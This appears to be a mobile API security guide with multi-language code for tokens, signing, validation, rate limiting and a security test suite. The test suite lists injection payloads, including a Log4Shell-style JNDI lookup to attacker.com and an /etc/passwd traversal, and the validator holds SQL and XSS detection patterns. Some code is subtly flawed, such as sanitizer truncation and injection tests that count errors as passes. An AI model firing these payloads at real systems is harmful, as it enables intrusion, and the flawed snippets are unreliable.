Skip to content

API Security

API security in mobile applications involves protecting communication between mobile clients and backend services. This includes securing API endpoints, implementing proper authentication mechanisms, protecting against common attacks, and ensuring data integrity during transmission.

API Security Architecture

Authentication & Authorization

JWT Token Implementation

kotlin
// Android JWT Token Manager
class JWTTokenManager {
    private val secureStorage = SecureStorageManager()
    
    data class TokenPair(
        val accessToken: String,
        val refreshToken: String,
        val expiresAt: Long
    )
    
    suspend fun storeTokens(tokens: TokenPair) {
        secureStorage.storeSecurely("access_token", tokens.accessToken)
        secureStorage.storeSecurely("refresh_token", tokens.refreshToken)
        secureStorage.storeSecurely("token_expires_at", tokens.expiresAt.toString())
    }
    
    suspend fun getValidAccessToken(): String? {
        val accessToken = secureStorage.getSecurely("access_token")
        val expiresAt = secureStorage.getSecurely("token_expires_at")?.toLongOrNull()
        
        if (accessToken == null || expiresAt == null) {
            return null
        }
        
        // Check if token is about to expire (5 minutes buffer)
        if (System.currentTimeMillis() + 300_000 > expiresAt) {
            return refreshAccessToken()
        }
        
        return accessToken
    }
    
    private suspend fun refreshAccessToken(): String? {
        val refreshToken = secureStorage.getSecurely("refresh_token") ?: return null
        
        return try {
            val response = apiService.refreshToken(RefreshTokenRequest(refreshToken))
            storeTokens(TokenPair(
                accessToken = response.accessToken,
                refreshToken = response.refreshToken,
                expiresAt = response.expiresAt
            ))
            response.accessToken
        } catch (e: Exception) {
            // Refresh failed, clear tokens
            clearTokens()
            null
        }
    }
    
    suspend fun clearTokens() {
        secureStorage.removeSecurely("access_token")
        secureStorage.removeSecurely("refresh_token")
        secureStorage.removeSecurely("token_expires_at")
    }
}

API Key Management

swift
// iOS API Key Security
class APIKeyManager {
    private let keychain = KeychainManager()
    
    enum APIKeyType {
        case development
        case staging
        case production
    }
    
    func getAPIKey(for type: APIKeyType) -> String? {
        let keyName = getKeyName(for: type)
        return keychain.retrieve(forKey: keyName)
    }
    
    func rotateAPIKey(for type: APIKeyType, newKey: String) throws {
        let keyName = getKeyName(for: type)
        let oldKey = keychain.retrieve(forKey: keyName)
        
        // Store new key
        guard keychain.store(data: newKey.data(using: .utf8)!, forKey: keyName) else {
            throw APIKeyError.storageError
        }
        
        // Verify new key works
        guard try verifyAPIKey(newKey) else {
            // Rollback to old key if verification fails
            if let oldKey = oldKey {
                _ = keychain.store(data: oldKey, forKey: keyName)
            }
            throw APIKeyError.verificationFailed
        }
        
        // Log key rotation
        SecurityLogger.logAPIKeyRotation(type: type)
    }
    
    private func getKeyName(for type: APIKeyType) -> String {
        switch type {
        case .development:
            return "api_key_dev"
        case .staging:
            return "api_key_staging"
        case .production:
            return "api_key_prod"
        }
    }
    
    private func verifyAPIKey(_ apiKey: String) throws -> Bool {
        // Implement API key verification logic
        let request = URLRequest.verificationRequest(apiKey: apiKey)
        // ... verification implementation
        return true
    }
}

Request Security

Request Signing

typescript
// React Native Request Signing
import CryptoJS from 'crypto-js';

class RequestSigner {
    private readonly secretKey: string;
    
    constructor(secretKey: string) {
        this.secretKey = secretKey;
    }
    
    signRequest(
        method: string,
        url: string,
        body?: any,
        timestamp?: number
    ): RequestSignature {
        const ts = timestamp || Date.now();
        const nonce = this.generateNonce();
        
        // Create canonical request
        const canonicalRequest = this.createCanonicalRequest(
            method,
            url,
            body,
            ts,
            nonce
        );
        
        // Generate signature
        const signature = CryptoJS.HmacSHA256(canonicalRequest, this.secretKey).toString();
        
        return {
            timestamp: ts,
            nonce,
            signature
        };
    }
    
    private createCanonicalRequest(
        method: string,
        url: string,
        body: any,
        timestamp: number,
        nonce: string
    ): string {
        const parsedUrl = new URL(url);
        const path = parsedUrl.pathname;
        const query = parsedUrl.search;
        
        const bodyHash = body 
            ? CryptoJS.SHA256(JSON.stringify(body)).toString()
            : CryptoJS.SHA256('').toString();
        
        return [
            method.toUpperCase(),
            path,
            query,
            bodyHash,
            timestamp.toString(),
            nonce
        ].join('\n');
    }
    
    private generateNonce(): string {
        return CryptoJS.lib.WordArray.random(32).toString();
    }
    
    verifyResponse(response: any, expectedSignature: string): boolean {
        const responseBody = JSON.stringify(response);
        const computedSignature = CryptoJS.HmacSHA256(responseBody, this.secretKey).toString();
        return computedSignature === expectedSignature;
    }
}

interface RequestSignature {
    timestamp: number;
    nonce: string;
    signature: string;
}

Input Validation & Sanitization

dart
// Flutter Input Validation
class APIInputValidator {
  static const int MAX_STRING_LENGTH = 1000;
  static const int MAX_ARRAY_SIZE = 100;
  
  ValidationResult validateUserInput(Map<String, dynamic> input) {
    final errors = <String>[];
    
    // Validate each field
    input.forEach((key, value) {
      final fieldErrors = validateField(key, value);
      errors.addAll(fieldErrors);
    });
    
    // Check for injection attacks
    final injectionErrors = checkForInjectionAttacks(input);
    errors.addAll(injectionErrors);
    
    return ValidationResult(
      isValid: errors.isEmpty,
      errors: errors,
      sanitizedInput: sanitizeInput(input)
    );
  }
  
  List<String> validateField(String fieldName, dynamic value) {
    final errors = <String>[];
    
    switch (fieldName) {
      case 'email':
        if (!_isValidEmail(value)) {
          errors.add('Invalid email format');
        }
        break;
      case 'phoneNumber':
        if (!_isValidPhoneNumber(value)) {
          errors.add('Invalid phone number format');
        }
        break;
      case 'password':
        if (!_isValidPassword(value)) {
          errors.add('Password does not meet security requirements');
        }
        break;
    }
    
    // Common validations
    if (value is String) {
      if (value.length > MAX_STRING_LENGTH) {
        errors.add('$fieldName exceeds maximum length');
      }
      if (value.trim().isEmpty) {
        errors.add('$fieldName cannot be empty');
      }
    }
    
    if (value is List && value.length > MAX_ARRAY_SIZE) {
      errors.add('$fieldName array exceeds maximum size');
    }
    
    return errors;
  }
  
  List<String> checkForInjectionAttacks(Map<String, dynamic> input) {
    final errors = <String>[];
    final maliciousPatterns = [
      RegExp(r'<script[\s\S]*?</script>', caseSensitive: false),
      RegExp(r'javascript:', caseSensitive: false),
      RegExp(r'on\w+\s*=', caseSensitive: false),
      RegExp(r'union\s+select', caseSensitive: false),
      RegExp(r'drop\s+table', caseSensitive: false),
      RegExp(r'exec\s*\(', caseSensitive: false),
    ];
    
    input.forEach((key, value) {
      if (value is String) {
        for (final pattern in maliciousPatterns) {
          if (pattern.hasMatch(value)) {
            errors.add('Potentially malicious content detected in $key');
            break;
          }
        }
      }
    });
    
    return errors;
  }
  
  Map<String, dynamic> sanitizeInput(Map<String, dynamic> input) {
    final sanitized = <String, dynamic>{};
    
    input.forEach((key, value) {
      if (value is String) {
        sanitized[key] = _sanitizeString(value);
      } else if (value is List) {
        sanitized[key] = value.take(MAX_ARRAY_SIZE).toList();
      } else {
        sanitized[key] = value;
      }
    });
    
    return sanitized;
  }
  
  String _sanitizeString(String input) {
    return input
        .replaceAll(RegExp(r'<[^>]*>'), '') // Remove HTML tags
        .replaceAll(RegExp(r'[<>&"\']'), '') // Remove dangerous characters
        .trim()
        .substring(0, input.length.clamp(0, MAX_STRING_LENGTH));
  }
  
  bool _isValidEmail(String? email) {
    if (email == null) return false;
    return RegExp(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$')
        .hasMatch(email);
  }
  
  bool _isValidPhoneNumber(String? phone) {
    if (phone == null) return false;
    return RegExp(r'^\+?[1-9]\d{1,14}$').hasMatch(phone);
  }
  
  bool _isValidPassword(String? password) {
    if (password == null || password.length < 8) return false;
    
    return RegExp(r'^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[@$!%*?&])[A-Za-z\d@$!%*?&]')
        .hasMatch(password);
  }
}

class ValidationResult {
  final bool isValid;
  final List<String> errors;
  final Map<String, dynamic> sanitizedInput;
  
  ValidationResult({
    required this.isValid,
    required this.errors,
    required this.sanitizedInput,
  });
}

Rate Limiting & DDoS Protection

Client-Side Rate Limiting

kotlin
class ClientRateLimiter {
    private val requestCounts = mutableMapOf<String, RequestCounter>()
    private val rateLimits = mapOf(
        "auth" to RateLimit(maxRequests = 5, windowMs = 60_000), // 5 per minute
        "api" to RateLimit(maxRequests = 100, windowMs = 60_000), // 100 per minute
        "upload" to RateLimit(maxRequests = 10, windowMs = 300_000) // 10 per 5 minutes
    )
    
    data class RateLimit(val maxRequests: Int, val windowMs: Long)
    data class RequestCounter(var count: Int, var windowStart: Long)
    
    suspend fun checkRateLimit(endpoint: String): RateLimitResult {
        val category = categorizeEndpoint(endpoint)
        val limit = rateLimits[category] ?: return RateLimitResult.Allowed
        
        val now = System.currentTimeMillis()
        val counter = requestCounts.getOrPut(category) { 
            RequestCounter(0, now) 
        }
        
        // Reset window if expired
        if (now - counter.windowStart > limit.windowMs) {
            counter.count = 0
            counter.windowStart = now
        }
        
        // Check if limit exceeded
        if (counter.count >= limit.maxRequests) {
            val resetTime = counter.windowStart + limit.windowMs
            return RateLimitResult.Exceeded(resetTime)
        }
        
        // Increment counter
        counter.count++
        return RateLimitResult.Allowed
    }
    
    private fun categorizeEndpoint(endpoint: String): String {
        return when {
            endpoint.contains("/auth/") -> "auth"
            endpoint.contains("/upload/") -> "upload"
            else -> "api"
        }
    }
    
    sealed class RateLimitResult {
        object Allowed : RateLimitResult()
        data class Exceeded(val resetTime: Long) : RateLimitResult()
    }
}

Error Handling & Security

Secure Error Responses

swift
class SecureErrorHandler {
    enum APIError: Error {
        case invalidCredentials
        case insufficientPermissions
        case rateLimitExceeded(retryAfter: TimeInterval)
        case validationError(fields: [String])
        case serverError
        case networkError
        case unknownError
    }
    
    func handleAPIError(_ error: Error) -> UserFacingError {
        switch error {
        case APIError.invalidCredentials:
            return UserFacingError(
                message: "Invalid login credentials",
                code: "AUTH_001",
                shouldRetry: false
            )
            
        case APIError.insufficientPermissions:
            return UserFacingError(
                message: "You don't have permission to perform this action",
                code: "AUTH_002",
                shouldRetry: false
            )
            
        case APIError.rateLimitExceeded(let retryAfter):
            return UserFacingError(
                message: "Too many requests. Please try again later",
                code: "RATE_001",
                shouldRetry: true,
                retryAfter: retryAfter
            )
            
        case APIError.validationError(let fields):
            return UserFacingError(
                message: "Please check your input: \(fields.joined(separator: ", "))",
                code: "VALIDATION_001",
                shouldRetry: false
            )
            
        case APIError.serverError:
            // Log error details internally but don't expose to user
            SecurityLogger.logServerError(error)
            return UserFacingError(
                message: "Something went wrong. Please try again",
                code: "SERVER_001",
                shouldRetry: true
            )
            
        default:
            SecurityLogger.logUnknownError(error)
            return UserFacingError(
                message: "An unexpected error occurred",
                code: "UNKNOWN_001",
                shouldRetry: true
            )
        }
    }
    
    struct UserFacingError {
        let message: String
        let code: String
        let shouldRetry: Bool
        let retryAfter: TimeInterval?
        
        init(message: String, code: String, shouldRetry: Bool, retryAfter: TimeInterval? = nil) {
            self.message = message
            self.code = code
            self.shouldRetry = shouldRetry
            self.retryAfter = retryAfter
        }
    }
}

API Security Testing

Security Test Implementation

typescript
// API Security Test Suite
class APISecurityTester {
    constructor(private baseUrl: string, private apiKey: string) {}
    
    async runSecurityTests(): Promise<SecurityTestResults> {
        const results: SecurityTestResults = {
            passed: 0,
            failed: 0,
            tests: []
        };
        
        // Test authentication bypass
        await this.testAuthenticationBypass(results);
        
        // Test injection attacks
        await this.testInjectionAttacks(results);
        
        // Test rate limiting
        await this.testRateLimiting(results);
        
        // Test data exposure
        await this.testDataExposure(results);
        
        return results;
    }
    
    private async testAuthenticationBypass(results: SecurityTestResults) {
        const testCases = [
            { name: 'No token provided', headers: {} },
            { name: 'Invalid token', headers: { 'Authorization': 'Bearer invalid-token' } },
            { name: 'Expired token', headers: { 'Authorization': 'Bearer expired-token' } },
            { name: 'Malformed token', headers: { 'Authorization': 'Malformed token' } }
        ];
        
        for (const testCase of testCases) {
            try {
                const response = await fetch(`${this.baseUrl}/protected-endpoint`, {
                    headers: testCase.headers
                });
                
                if (response.status === 401 || response.status === 403) {
                    results.passed++;
                    results.tests.push({
                        name: `Auth Bypass: ${testCase.name}`,
                        status: 'PASSED',
                        details: 'Properly rejected unauthorized request'
                    });
                } else {
                    results.failed++;
                    results.tests.push({
                        name: `Auth Bypass: ${testCase.name}`,
                        status: 'FAILED',
                        details: `Expected 401/403, got ${response.status}`
                    });
                }
            } catch (error) {
                results.failed++;
                results.tests.push({
                    name: `Auth Bypass: ${testCase.name}`,
                    status: 'ERROR',
                    details: `Test failed with error: ${error}`
                });
            }
        }
    }
    
    private async testInjectionAttacks(results: SecurityTestResults) {
        const injectionPayloads = [
            "'; DROP TABLE users; --",
            "<script>alert('XSS')</script>",
            "../../etc/passwd",
            "${jndi:ldap://attacker.com/exploit}",
            "{{7*7}}"
        ];
        
        for (const payload of injectionPayloads) {
            try {
                const response = await fetch(`${this.baseUrl}/search`, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                        'Authorization': `Bearer ${this.apiKey}`
                    },
                    body: JSON.stringify({ query: payload })
                });
                
                const responseText = await response.text();
                
                if (responseText.includes(payload) && !response.ok) {
                    results.passed++;
                    results.tests.push({
                        name: `Injection Test: ${payload.substring(0, 20)}...`,
                        status: 'PASSED',
                        details: 'Injection attempt properly handled'
                    });
                } else if (responseText.includes(payload)) {
                    results.failed++;
                    results.tests.push({
                        name: `Injection Test: ${payload.substring(0, 20)}...`,
                        status: 'FAILED',
                        details: 'Injection payload reflected in response'
                    });
                }
            } catch (error) {
                // Network errors are acceptable for injection tests
                results.passed++;
                results.tests.push({
                    name: `Injection Test: ${payload.substring(0, 20)}...`,
                    status: 'PASSED',
                    details: 'Request properly rejected'
                });
            }
        }
    }
    
    private async testRateLimiting(results: SecurityTestResults) {
        const requestCount = 100;
        const promises: Promise<Response>[] = [];
        
        // Send many requests simultaneously
        for (let i = 0; i < requestCount; i++) {
            promises.push(
                fetch(`${this.baseUrl}/api/test`, {
                    headers: { 'Authorization': `Bearer ${this.apiKey}` }
                })
            );
        }
        
        const responses = await Promise.allSettled(promises);
        const rateLimitedResponses = responses.filter(
            result => result.status === 'fulfilled' && 
                     result.value.status === 429
        );
        
        if (rateLimitedResponses.length > 0) {
            results.passed++;
            results.tests.push({
                name: 'Rate Limiting Test',
                status: 'PASSED',
                details: `${rateLimitedResponses.length} requests were rate limited`
            });
        } else {
            results.failed++;
            results.tests.push({
                name: 'Rate Limiting Test',
                status: 'FAILED',
                details: 'No rate limiting detected'
            });
        }
    }
    
    private async testDataExposure(results: SecurityTestResults) {
        const sensitivePatterns = [
            /password/i,
            /secret/i,
            /key/i,
            /token/i,
            /\b\d{4}[-\s]?\d{4}[-\s]?\d{4}[-\s]?\d{4}\b/, // Credit card
            /\b\d{3}-\d{2}-\d{4}\b/ // SSN
        ];
        
        try {
            const response = await fetch(`${this.baseUrl}/api/user/profile`, {
                headers: { 'Authorization': `Bearer ${this.apiKey}` }
            });
            
            const responseText = await response.text();
            const exposedData: string[] = [];
            
            sensitivePatterns.forEach(pattern => {
                if (pattern.test(responseText)) {
                    exposedData.push(pattern.toString());
                }
            });
            
            if (exposedData.length === 0) {
                results.passed++;
                results.tests.push({
                    name: 'Data Exposure Test',
                    status: 'PASSED',
                    details: 'No sensitive data patterns detected'
                });
            } else {
                results.failed++;
                results.tests.push({
                    name: 'Data Exposure Test',
                    status: 'FAILED',
                    details: `Sensitive patterns detected: ${exposedData.join(', ')}`
                });
            }
        } catch (error) {
            results.failed++;
            results.tests.push({
                name: 'Data Exposure Test',
                status: 'ERROR',
                details: `Test failed: ${error}`
            });
        }
    }
}

interface SecurityTestResults {
    passed: number;
    failed: number;
    tests: SecurityTestCase[];
}

interface SecurityTestCase {
    name: string;
    status: 'PASSED' | 'FAILED' | 'ERROR';
    details: string;
}

Best Practices

API Security Checklist

  • [ ] Authentication & Authorization

    • Implement OAuth 2.0 with PKCE for mobile apps
    • Use short-lived access tokens with refresh tokens
    • Validate tokens on every request
    • Implement proper scope-based authorization
  • [ ] Input Validation

    • Validate all input parameters server-side
    • Implement request size limits
    • Sanitize input to prevent injection attacks
    • Use allow-lists for input validation
  • [ ] Rate Limiting

    • Implement per-user and global rate limits
    • Use sliding window algorithms
    • Return appropriate HTTP status codes (429)
    • Implement client-side rate limiting
  • [ ] Error Handling

    • Don't expose sensitive information in errors
    • Use consistent error response format
    • Log security events for monitoring
    • Implement proper HTTP status codes
  • [ ] Transport Security

    • Use TLS 1.3 for all communications
    • Implement certificate pinning
    • Validate SSL certificates properly
    • Use HSTS headers
  • [ ] Monitoring & Logging

    • Log all authentication events
    • Monitor for suspicious patterns
    • Implement real-time alerting
    • Regular security audits

API security is a continuous process that requires ongoing attention to emerging threats, regular security assessments, and proactive implementation of defense mechanisms. Proper implementation of these patterns significantly reduces the attack surface and protects sensitive user data.

Created by Eren Demir.